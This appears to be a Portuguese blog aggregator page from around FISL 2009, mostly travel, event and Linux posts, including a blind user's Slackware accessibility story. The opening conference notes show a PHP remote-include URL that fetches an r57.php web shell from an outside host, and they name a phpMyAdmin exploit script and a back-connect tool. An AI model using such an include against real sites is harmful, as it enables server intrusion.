- fopen de URL no PHP pode permitir download de um arquivo para o /var/tmp
- site.com/lalala?http://shellremota.com/r57.php
- r57.php te dá uma shell remota (push com resposta 200 nos logs - OK)
The Sleuth Kit (previously known as TASK) is a collection of UNIX-based
command line file system and media management forensic analysis tools.
The file system tools allow you to examine file systems of a suspect
computer in a non-intrusive fashion. Because the tools do not rely on
the operating system to process the file systems, deleted and hidden
content is shown.
# KVM - glommer AT redhat.com
- Sw virtual?
- GFS?
- guestfish = disaster recovery en VM (editar menu.lst e etc)
# Varnish - Squid like globo.com
- Usar o webpoligraph para gerar stress stest/ analise de resultados
# Selinux - jczucco AT gmail.com
- http://jczucco.blogspot.com/ e http://ulissescastro.wordpress.com/
- type_t = template para apache, mysql e etc
- setenforce 1; sestatus
- exploit no phpmyadmin - phpmyadminrce.sh
- backconnect - bc.pl para abrir conexão reversa
# Miguel Ciurcio Filho - http://www.ic.unicamp.br/~miguel
- HELO com IP deve ser negado, embora tenha RFC dizendo o contrário
- PTR e A register must match
- smtpd_client_connection_rate_limit = 15
- smtpd_client_connection_count_limit = 10
- smtpd_client_message_rate_limit = 25
- Usar somente a SpamHaus (best ever)
- smtpd_hard_error_limit = 3
- smtpd_soft_error_limit = 1
- smtpd_error_sleep_time = 20s
- FDQN com nome da máquina não vale
# DNS Curve - D.J. Bernstein
- High-Speed with Cryptography
- Sourceforce uses nginex
- Criptografia https difícil e lenta
- Would massively overload servers
- Confidentiality despite Espionage
- Integrity despite Corruption
- Availability despite Sabotage
- Uses 4096 bit encryption / signatures
- 50 bilion packet/day to 500 milion cliets with 2.4 Core 2 Quad
- Total load on .com:
- 38 bilion packet/day from 5 milion clients
- Crypto per group not per query
- DNSSEC uses 640-1024 bit RSA for fast signature verification
- DNSSEC on *.sec2.br foi quebrado 23/26 domínios “protegidos”
Como estive muito ocupado todo tempo, seja por conta de curtir gramado ou o FISL, não pude postar nada por lá. Tinha que aproveitar cada momento dessa fantástica viagem.
Sendo assim lá vai o resumão:
Gramado é sensacional como dizem, porém vou logo adiantando, muito caro. Ao menos pra meus padrões financeiros, claro.
Como fui em lua de mel, nada poderia ser dispensado.
Como cheguei pela tarde e não havia almoçado fui logo no café colonial, pois me aconselharam quando eu estivesse com muita fome. Fui pensando que comer tudo que fosse oferecido. Doce ilusão, pois o café colonial para duas pessoas, na verdade é comida para 4 ou 6. Muita comida mesmo, um extremo desperdício. Eu até perguntei ao dono do local o que eles faziam com o resto que sobrava, me foi dito que a maioria é doada a outra mais sensível é descartada mesmo.
Olhem a mesa completa:

Depois dessa comida fomos pro hotel, olha como é bonito:

Fomos descansar, pois o outro dia seria cheio.
Acordando cedo, às 7:00, fomos tomar café, parecia o colonial de novo! Olha:
Seguimos para o parque do caracol, realmente bonito.

Olha a vista!

Depois fomos pra fabrica de chocolate Lugano, assim… Bonita, porém o preço é meio amargo, tenho uma indicação que irei fazer mais abaixo no texto. Vejam uma fabrica de chocolate por dentro:

Depois partimos para o museu do automóvel, até tirei foto em uma moto:

Seguindo viagem fomos para o Mundo a Vapor, que não gostamos, assim nem entramos. Depois fomos almoçar.
Eita! de novo mesa farta:

De barriga cheia fomos para o Lago Negro. Eita que lugar bonito! Vejam:

Depois de muito usar o pedalinho por essa água cristalina fomos ao mini-mundo.
Que é um parque feito por um senhor que queria presentear seus netos com uma maquete de uma cidade de brinquedo. O presente ficou tão bom que se transformou em parque.
Vejam:

Olhem esse castelo:

Reza a lenda do parque, que quem tira foto com o limpador de chaminé tem sorte. Lá fomos nos tirar foto com o cabra:

Não é que nos deu sorte mesmo? Logo depois olha quem encontramos:

Depois disso apenas ir pra casa descansar para curtir a noite de gramado. Nem tava tanto frio assim:

Depois voltamos pro hotel e pronto, dormir mais uma vez, por que no outro dia teria mais! E era aniversário de Anne (Meu amor).
Aguardem a parte 2
Mais um FISL acabou e dessa vez foi 10! ;) (Salvo a presença do nosso presidente Lula que por motivo de segurança, o acesso aos stands ficou limitado a poucas pessoas).
GNOMErs, Ubuntusers, simpatizantes do SL, todos juntos num só lugar… Trocando idéias, fortalecendo velhas amizades e como sempre a troca de contatos pessoais e profissionais. Mais uma vez, só se via o Ubuntu em diversas máquinas espalhadas pelo evento, fica até repetitivo falar sobre isso mais uma vez… Saca só algumas fotos:

GNOMErs posando para foto

No stand do GNOME, Jorge Pereira devorando códigos

Se estava fazendo frio?
A minha cobertura fotográfica completa pode ser encontrada no meu perfil do Flickr: Ubuntuser (Tem o jantar dos palestrantes, reuniões do Ubuntu e GNOME Brasil, festa de encerramento, etc…)
Quero aqui saudar e agradecer aos meus amigos que sempre encontro neste grande evento, estes que podem ser considerados como de infância, quase fazem parte da família (Em ordem alfabética para não provocar ciúmes): André Gondim, Cropalato, Duda Nogueira (Bit Doidão) Djavan Fagundes, Flamarion Jorge, Hugo Dória (Milhouse), Jonh Wendell, Karlisson (o Nerdson), Jorge Pereira, Licio, LinuxPOA, Lucas Arruda, Mário Meyer, Paulino Michelazzo, Paulo Christiano, Pretto, Rafael Proença, Tiago (T-Rex) e sua esposa Luciana (Sem esquecer do pequeno Gustavo), Úrsula (Ursinha), Vicente Aguiar, Vinícius e Bruno Depizzol, entre outros…
Esperamos sempre o melhor e com o FISL 11 não será diferente. Quem venha 2010!
Ps.: Um viva em especial para o meu amigo Ricardo Cropalato… Happy birthday, dude!
Ps.2: A fome me fez esquecer de citar o meu ‘broder’ Duda Nogueira…
A pergunta é bem simples: você largaria o software livre (Linux, OpenOffice, Firefox, tudo…) se lhe oferecessem muito dinheiro?
Se precisar de um contexto imagine o seguinte: você teve uma desas idéias idiotas que viraram febre na internet (twitter, milliondollarhomepage.com etc…) e uma empresa que trabalha com código fechado o convida a juntar-se a eles, mas, vai ter que “vestir a camisa” e virar garoto-propaganda. A quantia de dinheiro é pornográfica. Você aceita?
Seja sincero na sua resposta.
Ninguém aqui vai dizer que você traiu o movimento, véio!
P.S.:
Opa, opa! Quem assinar o contrato não vai mais poder usar SL nem em casa. É que nem o Ronaldo que não pode cortar o cabelo.
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.

A semana de FISL foi muito produtiva para a Arkeia Software, fizemos ótimos contatos tanto na industria como com clientes finais.
O grande destaque negativo no meu ponto de vista foi a confusão gerada na Sexta-feira pela visita do presidente Lula no evento, tenho certeza que a visibilidade gerada pelo acontecido vai ser muito boa para o evento, mas poderiam ter pensado em uma maneira de prejudicar menos quem estava em função da mostra de soluções.
Mas de modo geral foi muito bom. E que venha o FISL 11, agora é se preparar para o CNASI e o Red hat Summit .
FISL week was very productive for Arkeia Software, had lots of contacts in the industry and with customers.
The big down point of the event IHMO was the big fuzz generated from the President of Brazil Lula, I’m pretty sure that the visibility generated by the visit will be awesome, but they should have thought in a way of no compromising the event so much to the people in the solutions show.
Overall the event was really good. We are waiting for FISL 11, and lets get ready for CNASI and Red Hat Summit.

Estou a caminho do Google Developer Day 2009, um evento anual com foco no desenvolvimento. Este será o terceiro evento do Google que participo, todos são descontraídos, trazem especialistas de cada área (muitos internacionais) e abordam a fundo as novidades e técnicas de desenvolvimento utilizando soluções Google em três principais áreas: Geoprocessamento (Google Maps), Cloud Computing (App Engine e Google Wave) e Social Web (Open Social), além de Android.

O evento começa daqui a pouco e estarei postando informações via Twitter, além de fotos e videos via Qik. Quem quiser receber informações ao vivo, basta me adicionar no Twitter: http://twitter.com/dump/ e no Qik: http://qik.com/canderson/ para ver os vídeos. Até lá!
Uma função variádica variária – em inglês variadic, variable arity, aridade¹ variável – é aquela que suporta uma quantidade variável de parâmetros.
Muitas linguagens suportam funções variárias, aliás de forma bem simples. Python usa o operador * para indicar quantidade variável de parâmetros, Lua usa o operador ... e Common Lisp o operador &rest.
Outras linguagens podem ser ainda mais simples, como por exemplo Perl, onde toda função é variária e os parâmetros são recebidos na lista @_, tradicionalmente capturados por shift.
Já Java não suporta funções verdadeiramente variárias devido a sua limitação forçada de tipagem, no entanto é possível simular com o uso de Object e casting («vazamento» na falta de uma tradução melhor):
void myFunction(Object... args) {
// Código do método
…
}stdarg.h para suporte a funções variárias.printargs que recebe uma quantidade arbitrária de números inteiros, encerrando com -1 (ou qualquer número negativo em nosso exemplo), e os exibe na saída padrão.cstdarg para suporte a funções variária e cstdio para exibir o resultado:#include <cstdio>
#include <cstdarg>#include <stdio.h>
#include <stdarg.h>void printargs(int arg1, ...) {va_list: va_list args;va_start() inicializa o objeto. Ela recebe dois parâmetros: o objeto va_list e o nome do último argumento antes da lista: va_start(args, arg1);arg1: printf("%d", arg1);va_arg() retorna o argumento seguinte. Ela recebe como parâmetros o objeto va_list e o tipo do parâmetro da lista a ser recuperado.char precisam sofrer casting, como por exemplo (não faz parte do código de printargs):char c = static_cast<char>(va_arg(va, int));va_arg() até encontrarmos o valor de parada negativo: int arg;
while((arg = va_arg(args, int)) >= 0)
printf(" %d", arg);va_list através de va_arg(), é preciso encerrar o objeto: va_end(arg);
printf("\n");
}__attribute__ em sua declaração. Por exemplo, se a função log() recebe o nível de log como primeiro parâmetro, uma string de formatação como segundo parâmetro (2) e os parâmetros variáveis a partir do terceiro (3), com formato similar ao da função printf(), isso é feito com a seguinte assinatura:extern void
log(int level, cons char *fmt, ...)
__attribute__((format(printf, 2, 3)));format() são printf, scanf, strftime e strfmon. Veja Declaring Attributes of Functions da documentação do GCC.Sem querer gerar polêmica, trollagem ou flamewar (principalmente por estas serem as duas distribuições de que mais gosto). Mas quantas camisetas o Lula ganhou no 10º FISL?

Quem passou a imagem do Lula com a camiseta do Slackware foi o Alisson Ceolin através da GUS-br
Lula com camiseta do Ubuntu ‘chupada’ do blog do Ubuntuser.

1º ano
Este blog todo desorganizado, ainda com muito o que melhorar, da forma como está atualmente, ainda não tem um ano de vida. O que eu ‘comemoro’ é que há 1 ano eu estou com essa ‘vida virtual’ escrevendo algumas de minhas experiências, idéias e afins por meio de blogs
O primeiro post que vocês encontram neste blog e que data de um ano atrás, foi importado de minha experiência com o blogspot (quem me acompanha desde o início talvez lembre-se do ‘felevado.blogspot’), depois disso, fui brincar com o wordpress.com e passei meus posts para lá, onde cheguei incrivelmente (não sei como até hoje a ter um pagerank = 5; daí não tardou muito para que eu adquirisse o dominio ffelix.eti.br. (pena que com isso o pg caiu para 3
)
Neste 1 ano, através do blog aprendi muito, compartilhei não tanto quanto poderia, mas num balanço geral estou contente. Para um blog onde não são muito frequentes as atualizações tenho um número razoável de visitantes, hoje em cerca de 100 diárias (houve épocas dos mais de 500 – justamente quando atualizava com frequencia), mas já agradeço aos meus visitantes que me proporcionaram mais de 25.000 visitas neste período o Adsense ainda tá baixo, mas ele nunca foi o principal objetivo mesmo.
Tais visitas devem-se principalmente ao meu amigo Og Maciel que acatou meu pedido de integração ao Planeta Gnu/Linux Brasil e também a todo o pessoal do Planet Geek que me convidou a ser agregado também neste.
Devido a minha vida profissional e pessoal estar muito agitada ultimamente, os posts estão bem escassos. Mas eu não poderia deixar de colocar nem que fosse um ‘oi’ neste 1º Aniversário. E o que me motivou mais ainda foi a mensagem da Aiyumi Moriya na lista do GUS-BR (Grupo de Usuários de Slackware).
Nesta mensagem a Aiyumi que é portadora de deficiência visual nos dá seu depoimento de como é sua experiência no Linux. Tal depoimento serve como exemplo a diversos usuários que vemos sempre falar que o Linux é difícil, que não é amigável, que dificulta a vida do usuário… e etc.
Tais usuários frequentemente se cadastram em fóruns e procuram a solução imediata para o seu problema e quando não respondidos de imediato (sim, digo de IMEDIATO) já reclamam; enquanto que na maioria das vezes uma simples pesquisa em qualquer mecanismo de busca já lhe traria a solução.
Agora vejamos como foi a experiência da Aiyumi, nenhuma das dificuldades pelas quais passou a fez desanimar; pelo contrário, parece que a motivaram mais ainda em buscar uma solução para o que precisava. Leiam até o final:
Introdução
Sou uma deficiente visual que teve a doida ideia de migrar de (sic)Rwindows para Linux (Slackware). Estou escrevendo para dar meu depoimento sobre a experiência que tive com a instalação e a configuração do sistema.
Uso computador desde 1996. Fui usuária de (sic)Rwindows até fevereiro deste ano (2009), quando mudei para Linux de uma vez por todas. Na verdade, fazia tempo que fiquei curiosa e quis experimentar o Linux, mas nunca tive coragem. Há cerca de dois anos, precisei fazer um trabalho sobre Software Livre na faculdade, desde então passei a acompanhar mais os acontecimentos nas comunidades. Os dias passavam e o (sic)Rwindows foi deixando de atender as minhas necessidades e ia dando mais vontade de migrar, mas ainda não sabia como.
Primeira Tentativa, Primeiras Impressões
Certo dia, fiquei sabendo que existia um leitor de telas para Linux chamado Orca e que ele vinha por padrão no Ubuntu. Resolvi testar. Instalei no meu laptop e, que beleza, funciona direitinho! Ou pelo menos foi o que eu achei no começo. Havia vários problemas que atrapalhavam, um dos mais irritantes era uma medida de segurança do Gnome que fazia com que o Orca não falasse na hora de realizar tarefas administrativas. Fiz o que é indicado no Orca/Sysadmin não adiantou muito, às vezes falava, na maioria das outras não. Também acontecia muito de parar de falar, ou travar tudo de repente. O problema foi ficando cada vez mais frequente, até que o meu Ubuntu não funcionou mais. Li alguns artigos que me levaram à conclusão de que a acessibilidade no pinguim ainda estava fraca. Fiquei pensando que os problemas de travamento que tive eram “culpa” do Orca e resolvi esperar algum tempo até que ficasse mais maduro.
Decepções
Alguns meses se passaram. Ainda não queria desistir do Linux. Resolvi “ver” a quantas andava e baixei o Ubuntu 8.10. Infelizmente o áudio não funcionou no meu PC, que estava com uma placa de áudio Realtek daquelas consideradas problemáticas para usuários Linux. Testei no laptop e o leitor de telas finalmente falou:
Welcome to Orca.
… … ….. E mais nada. Procurei em fóruns, no site oficial e na lista de discussão do Orca pela resposta do porquê de não ter funcionado no Ubuntu 8.10. Não encontrei nada parecido com o meu caso. Li várias coisas durante essa busca e cheguei a uma conclusão: não gostei do Ubuntu.
- Primeiro, porque o Gnome é muito pesado e vem com um mundo de coisas desnecessárias, que se eu não quisesse, teria de remover uma a uma, ainda correndo o risco do APT ou do Synaptic removerem junto coisas que não deveriam.
- Segundo, porque tem aquela falha que deixa o leitor de telas mudo como Root.
- Terceiro, porque passou a usar o PulseAudio como padrão em vez do ALSA e várias pessoas postaram na lista do Orca que isso diminui a performance na acessibilidade, com umas soluções complicadas para desinstalar o Pulse e ficar sem som enquanto tenta instalar o ALSA.
Li que o Orca funcionava com aplicativos em GTK2, não necessariamente só com o Gnome. O XFCE (que é mais leve que o Gnome) também é em GTK2, então tentei o Xubuntu (certo, também é Ubuntu, mas pelo menos não é o Gnome). Coloquei o Orca nele e também não deu certo, não falou nada!
“Não, não é possível, tem de haver outra solução… Outra distro…”
eu pensava enquanto vasculhava a Internet em busca de respostas.
Encontrei perguntas do tipo:
Existe alguma distro acessível por padrão? Tenho um amigo deficiente visual e ele quer usar o Linux. Que distro vocês me indicam?
e as respostas eram:
Ubuntu
Ubuntu
Ubuntu
Ubuntu
Ubuntu, ou alguma outra baseada nele…..
“Não! Eu já disse que não quero mais Ubuntu! Ah, chega! Vou tentar outra coisa…”, resolvi testar o Oralux, uma tentativa de distribuição acessível já abandonada. Não funcionou no laptop, muito menos no PC principal por causa da placa Realtek problemática, apenas suportada a partir do Alsa 1.0.17 (sei lá qual era a versão ultrapassada do Alsa do Oralux…). Tentei outra distro (que não lembro qual era), disponível apenas em Inglês, também não funcionou pelo mesmo motivo da anterior.
A Última Esperança
Mais perguntas na Internet, mas apenas relacionadas a Linux, sem considerar acessibilidade:
Quero estudar Linux, que distro vocês recomendam?
Resposta:
Use Slackware. Distro simples, estável, bem testada, bastante respeitada, uma das poucas que ainda não perdeu suas raízes, e faz aprender na marra, porque não vem quase nada configurado e você é obrigado a se virar.
“Ok, vai ser essa.”, decidi.
Relatos na net diziam “É muito difícil!”, mas será que era tanto assim? Li vários artigos sobre a instalação e configuração, incluindo:
http://www.gdhpress.com.br/blog/instalando-o-slackware/
http://www.gdhpress.com.br/blog/slackware-sobrevivendo-ao-primeiro-boot/
http://www.gdhpress.com.br/blog/configurando-o-x/
E até o livro oficial, o SlackBook (”Slackware Linux Essentials”), entrou na dança
A cada artigo que eu lia, ficava cada vez mais certa de que era o que eu queria. E mais, ele é acessível! Ou melhor, quase. Descobri que o Slackware já vem com um leitor de telas, o Speakup e que era possível realizar a instalação falada por meio dele.
O problema é que ele só suporta sintetizadores de voz via hardware por padrão e eu não tenho esses equipamentos. Também há suporte a síntese via software através do Speech-Dispatcher e do Speechd-Up, mas só depois de instalados o Slackware e os softwares de fala.
Então, de qualquer jeito eu precisaria de ajuda de alguém que enxergasse.
Mesmo com o contra acima, resolvi instalar o Slackware. Algo me dizia que seria difícil, enquanto outro algo dizia que não seria impossível.
Instalando e Configurando
Destruí todos os meus experimentos falhos do meu laptop e inseri o DVD do Slackware 12.2. Então, fiz minha mãe, que não entende nada de linux e quase nada de Inglês, ler o instalador inteiro para mim. Umas três horas depois, o Slack estava no meu laptop, mudo, mas funcionando. Seguindo os passos de um dos artigos já mencionados, ainda com ajuda não técnica, configurei o áudio com o “alsaconf”, usei o “alsamixer” para aumentar o volume, seguido de “alsactl store” para salvar. Para fazer o negócio falar, usei o outro computador (que ainda estava com (sic)Rwindows) para entrar na Internet e baixar os seguintes softwares:
- Espeak (sintetizador de voz com suporte a vários idiomas, inclusive o Português);
- Speech-dispatcher (servidor de fala);
- YASR (leitor de telas para o console);
Transportei-os para o laptop com a ajuda de um pendrive e instalei cada um com os três comandos básicos “./configure“, “make” e “make install“. Assim, finalmente consegui usar o terminal e me virar sem auxílio visual.
Aperfeiçoando
Bastou viver um pouco no mundo Slackware para descobrir que usar os três comandos básicos não é a forma mais prática para instalar (e depois desinstalar) aplicativos. Fiquei sabendo dos SlackBuilds, scripts para compilar programas e gerar pacotes para o Slack, facilmente gerenciados pelas ferramentas da distro. Peguei um SlackBuild básico, o da biblioteca Glib, mais alguns do repositório http://repository.slacky.eu/ e usei como base para compilar as últimas versões do Orca e suas dependências.
Depois de muitos erros e acertos, consegui instalar o Orca. Coloquei-o para falar e ele disse:
Welcome to Orca.
… … ….. E mais nada.
Ué? Por quê? Será que é porque não é o Gnome? Não, não pode ser, fugi tanto dele para acabar nisso… Será mesmo que não tem escapatória e vou ter de instalá-lo?
A resposta logo veio. Encontrei outra tentativa de distro acessível, nova versão do Knoppix com um conjunto de softwares chamado ADRIANE (Audio Desktop Reference Implementation and Networking Environment)
Baixei e testei. A versão do ALSA era meio antiga e não funcionou no PC por causa da placa de áudio problemática, mas no laptop foi que uma beleza. A distro apresentava uma interface com menus em modo texto, usando o Dialog e um leitor de telas para console, inclusive havia uma opção de usar a interface gráfica, com o Orca como leitor de telas, Firefox, OpenOffice e o LXDE como desktop. Funcionou às mil maravilhas e sem Gnome! Encontrei um artigo interessante sobre o assunto por meio dele e com base em alguns shell scripts do ADRIANE, soube que para integrar o Orca com outras ferramentas GTK que não o Gnome, era preciso setar algumas variáveis na inicialização:
export SAL_USE_VCLPLUGIN="gtk"export GTK_MODULES=”gail:atk-bridge”
Mesmo assim não funcionou, nada mais era dito além de “Welcome to Orca.”. Outra vez, procurei pelas listas de discussão e pelos fóruns, sem encontrar nenhum caso doido parecido com o meu. Até que encontrei
o guia de como criar aplicativos acessíveis em GTK
onde dizia para setar a variável “GNOME_ACCESSIBILITY” para “1″. Apesar do guia informar que colocar essa instrução no script de inicialização do usuário estava depreciado (deprecated), foi só fazer isso que o Orca abriu a matraca de vez!Para iniciar uma sessão gráfica falante, era “só” colocar o seguinte no final do arquivo .xinitrc:
# ---------------------------------------------------- # Inicia o registro do AT-SPI exec "/usr/libexec/at-spi-registryd"& # Coloca em modo de acessibilidade gconftool-2 -s --type=bool /desktop/gnome/interface/accessibility true # "Engana" o programa, fingindo estar usando o GDM export LOGNAME="GDM" # Integração com aplicativos em GTK export SAL_USE_VCLPLUGIN="gtk" export GTK_MODULES="gail:atk-bridge" export GNOME_ACCESSIBILITY=1 # Inicia o gerenciador de janelas sleep 0.5 exec /usr/bin/startlxde& # Para o caso do LXDE # Inicia o leitor de telas Orca # (precisa ser a última coisa a iniciar) orca -n # ----------------------------------------------------Migrando
Depois de fazer backup de todos meus arquivos importantes, sem dó, destruí a partição do (sic)Rwindows. novamente, com ajuda não técnica, dessa vez escolhendo o Kernel com o Speakup, repeti o processo de instalação e configuração do Slackware, agora no PC. Usei os pacotes .tgz que construí nos meus experimentos no laptop para instalar os aplicativos de acessibilidade. Mais alguns erros e acertos depois, já tinha o computador principal com Slackware Linux e, melhor ainda, falando!
Como Estão as Coisas Hoje
Ainda não consegui fazer o Speakup falar via software , as instruções disponíveis estão desatualizadas, vários nomes e comandos mudaram e já não sei mais qual é qual.
Fora o Speakup (que não está funcionando) e o Orca, estou com mais dois leitores de tela (console) instalados para testes e para emergências: O YASR e o SBL (SUSE Blinux Screen Reader) que tem muito mais opções e configurabilidade do que o YASR.
Uso os aplicativos “comuns” para as tarefas do dia-a-dia (Firefox para navegar na Internet, MPlayer para reproduzir vídeo e música, BROffice para abrir os documentos com formatos proprietários etc.).
Quando preciso rodar algum aplicativo do outro sistema operacional (geralmente, coisas relacionadas a games), uso o Wine, brigo com ele reclamando das DLLs faltando daqui e dali, mas com um pouco de paciência, funciona. Infelizmente ele não consegue rodar o NVDA (leitor de telas aberto para (sic)Rwindows), mas como uso só de vez em quando, recorro à ajuda não técnica.
Conclusão
Apesar de ter apanhado bastante dos aplicativos de acessibilidade, agora estou usando o Linux e não me arrependo. O Slackware é uma ótima distribuição, os arquivos de configuração são bem organizados, (sei que muitos não concordam com isso mas na minha opinião) tem métodos simples e eficazes de gerenciar pacotes e vem por padrão com muitos programas úteis, tanto para usuários comuns quanto para desenvolvedores. Estou bastante satisfeita com ele.
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GUS-BR – Grupo de Usuários de Slackware Brasil
http://www.slackwarebrasil.org/
http://groups.google.com/group/slack-users-br
Antes de perguntar:http://www.istf.com.br/perguntas/
Um depoimento assim é motivador para qualquer um que tenha interesse em algo, não somente em Linux e SL/CA, ou mesmo informática. Costumamos reclamar de toda e qualquer dificuldade; mas o que precisamos mesmo é seguir exemplos como esse (e muitos outros mais), procurar a solução ao invés de ficar aguardando que alguem a dê para nós.
Ainda em meus comparativos Linux/Windows eu realmente digo que os usuários normalmente tem preguiça, isso sim, de aprender. Uma das perguntas que mais ouço é:
Mas o Linux não é muito difícil?
Resposta: Não, não é. Exemplo disso é o excelente artigo do Led Style: Uso constante de computador causa amnésia crônica!, o qual transcrevo partes aqui:
(…)
É comum vermos usuários recém chegados do windows reclamarem com ênfase do sistema Linux, dizendo que trata-se de um sistema complicado, nada intuitivo, para nerds, etc. Enfim, diversos adjetivos nada interessantes a se associar com a imagem de um programa.
E é por isso que estou escrevendo este artigo, para estes usuários que acabam sofrendo de amnésia e não se lembram de como foi sua adaptação ao Windows em seus computadores e o quão árdua foi esta tarefa.
Vamos nos lembrar daqueles tempos obscuros em que você, usuário Windows, ligava seu Windows 98 e não sabia como instalar a impressora e acabava ligando para a casa de um amigo ou parente pra pedir ajuda. E naquele tempo em que quando você queria remover um programa, bastava deletar a pasta dele lá no Arquivos de Programa não é verdade? É… você evoluiu bastante pois na primeira vez você havia excluido o ícone que estava na área de trabalho apenas e jurou que havia removido o programa! Lembra-se de quando você instalou um macaco cor de rosa no seu Desktop que ficava pulando para todos os lados e falando com você? É… não dava pra desinstalar o maldito macaco!
E quando você baixou sua primeira música mp3 pela internet! Que emoção! Só faltava fazer o bendito tocar pois o Windows Media Player não dava nem sinal de vida não é verdade? Ai você recorria aos sites de busca, isso deve ter sido antes do Google, e não conseguia de maneira alguma. Até que uma boa alma lhe ensinou a usar um programinha mágico que se chama Winamp!
E os vídeos completos que o pessoal disponibiliza pela internet? Ahh que maravilha quando você copiou um de seu amigo e ele simplismente não tocou. Vários dias até alguma boa alma lhe apresentar um tal de “K-Lite codec pack” que de forma mágica fazia tudo funcionar. O problema mesmo foi depois pra fazer a legenda do filme aparecer… bons tempos!
(…)
O problema maior mesmo é que os usuários teimam em usar o Linux pensando como Windows, daí realmente será mais difícil. Caso você vá experimentar Linux, abra sua mente, ele não é Windows.
Mas ok, vamos finalizar por aqui. Tenho mais coisas a fazer e só ‘passei’ para não deixar a data de 1 ano em branco. Aproveitei para motivar a todos com o depoimento da Aiyumi e deixar meus sinceros agradecimentos a todos vocês que me acompanham, ou mesmo aquele ‘paraquedista’ que acaba caindo em algum post devido a uma pesquisa (alguns inclusive deixam comentários).
E vamos neste 2º ano, estou planejando algumas coisas para modificar o blog. Espero que não demorem muito e que gostem das alterações.
Au revoir mes amis…
Assim como no ano passado, infelizmente não pude comparecer ao 10º Fórum Internacional de Software Livre, que aconteceu em Porto Alegre na última semana. Não estive presente fisicamente, mas o evento disponibilizou um stream de vídeo, que funcionou perfeitamente bem, permintindo assim a participação virtual de quem, por qualquer motivo, não conseguiu ir a Porto Alegre. Este stream me foi muito útil, pois pude acompanhar o maior evento de Software Livre do país. Alguns amigos fizeram cobertura via Twitter, enviando informações valiosas, complementando assim os acontecimentos do evento.
Tenho muito respeito e apreciação ao FISL, foi lá onde conheci grandes amigos e dei os primeiros passos a uma carreira mais empreendedora, onde o Software Livre é minha principal ferramenta de trabalho. Tive o privilégio de acompanhar e participar dos bastidores do FISL, ver a Associação Software Livre nascer e sou testemunha do esforço de toda equipe para fazer um evento participativo e único. Sinto falta da época que morava em Porto Alegre e podia participar dos encontros e ajudar na organização.
Parabéns a todos que colaboraram e fizeram deste evento um dos maiores do mundo, parabéns aos 8.232 participantes (e milhares de outros, assim como eu, só acompanharam pela internet). Que o conhecimento livre sempre esteja disponível a benefício da humanidade. Ano que vem, espero estar presente!
O Google lançou uma nova feature no Google Docs, um Linear Solver para problemas de Otimização Linear. A utilização é muito simples, basta construír uma planilha com os dados, entrar com a função objetivo desejada (maximizar ou minimizar) e ir ao menu Tools e em seguida Solve.
A cada dia que passa, o Google Docs apresentam mais funcionalidades úteis as tarefas do dia-a-dia. Seria bom ver nas próximas semanas melhorias no Solver para atender a outras áreas da otimização.
No site http://www.feedmyapp.com/ você encontra milhares de sites web2, tem pra todo gosto. Veja este para pesquisa de imagens no flickr: http://www.compfight.com
Os carinhas da folha escrevem: Microsoft faz sequência de lançamentos e incomoda concorrência. Mas esta notícia pode ser lida de outra forma:
Microsoft não aprende com seus erros e agrava seus problemas. Mas como? Sabe a Aple? aquela do iphone do ipod e trecos do gênero? Há dez anos eles tentavam ser a Microsoft, tentavam desenvolver um sistema completo e ensaiavam também abraçar o mundo com as pernas, mas alguém com um pouco de perspicássia, talvez o Steve :), pensou diferente, e para a sorte deles abandonaram o desenvolvimento do baixo nível e focaram na interface. Resultado, hoje os papeis se inverteram, quem não consegue cumprir os prazos e lançar algo que funcione minimamente?
Esta sacada não é minha, infelismente perdi o link do artigo que me levou a este raciocínio, mas o fato é que notícia deve ser refletida e não aceita cegamente. Afinal de contas qual é o poder do software livre? Assim como os comandos unix like (pequenos comandos bons em algo e que podem ser combinados) o Software Livre tem comunidades bem focadas, independentes. Não há um comando centralizador, a liberdade e a criatividade flui fluem livremente.
Quer dizer que eles continuam pisando na bola, e isto é ótimo para nós, ao invés de resolver o que nunca foi resolvido, e nunca será (o problema da segurança). Quem é que confiar em anti-virus de quem nunca foi capaz de se livrar deles :) É piada, meu anti-virus é o linux.
Na quarta feira (dia 24/04) aconteceu o I encontro de usuários brasileiros do Archlinux no FISL. O encontro contou com 4 palestras:
Nosso objetivo principal foi apresentar nossa comunidade e nossa distribuição, falando dos principais motivos que nos fazem usar o archlinux e sobre o início da sua comunidade. Também fizemos uma palestra mais técnica para ensinar sobre os pacote
Meus slides estão disponíveis para download no meu site aqui. Se você quiser dar uma palestra parecida, fique a vontade para usar meus slides (só coloque meus devidos créditos
).
Antes, veja o vídeo:
Podem falar mal o quanto for, mas ele fez muito pelo país, pela situação financeira, pelo reconhecimento fora e pelo software livre. Me admira um presidente que reconhece que não entende os termos técnicos, mas que vê com clareza as vantagens. Concordo que ele pisou na bola nesse rolo do Sarney, mas ele ainda é um presidente único. Um abraço, presidente.
Aproveitando, aqui no Paraná também temos que reconhecer o que o Requião faz pelo software livre (esse só votei no segundo turno). A abertura ao software livre e o apoio à Celepar, que tem “exportado” software livre para o país inteiro, até compensam o fato de ele ser meio doido…
Sei que política é algo polêmico, mas como disse uma vez um amigo: estou aberto a xingamentos.
Veja também:
Aproveitando a campanha do Ministério da Saúde e o incidente do FISL 10, convido os leitores a contar como foi a sua última doação de sangue. Quero fazer uma coleção de relatos aqui, para que as outras pessoas se sintam ainda mais motivadas a doar também!
No meu caso, a doação de sangue mais recente foi em Ribeirão Preto (SP), antes de eu me mudar para Linhares (ES). O período mínimo entre as doações já tinha passado, e eu sabia que por um ou dois meses minha vida seria tumultuada o suficiente para eu não encontrar tempo para doar sangue. O posto de coleta estava quase vazio, como de costume, mas dessa vez demorou uns 15 minutos entre eu chegar e a coleta de sangue chegar, porque os computadores estavam fora do ar. Eu tinha tomado um analgésico para dor de cabeça (dica: não foi o demerol
), mas o tempo mínimo já tinha passado, então isso não impediu a doação. Foi engraçado ter que explicar algumas vezes que eu já não tinha endereço fixo (já tinha entregado as chaves do apartamento anterior, e não tinha ainda alugado apartamento em Linhares), mas dei o endereço de meus pais. Também avisei que não poderia voltar para pegar a carteirinha, mas que na eventualidade do banco de sangue precisar entrar em contato comigo, bastava usar o e-mail. A doação de sangue em si foi como sempre, parecendo um intervalo de filme na televisão: comprido demais para se ficar parado, curto demais para se ler ou fazer qualquer outra coisa. Eu fiquei de olho, e o material usado era recém-aberto e foi descartado depois da doação. Como (quase) sempre, a pessoa que coletou o sangue tinha uma habilidade impressionante, e apesar da agulha ser bem grossa a doação quase não doeu. O lanche na saída foi gostoso, como de costume, até atrasei um pouco o jantar por causa dele. Vai ser uma pena não voltar lá para ver o pessoal!

Constantine.
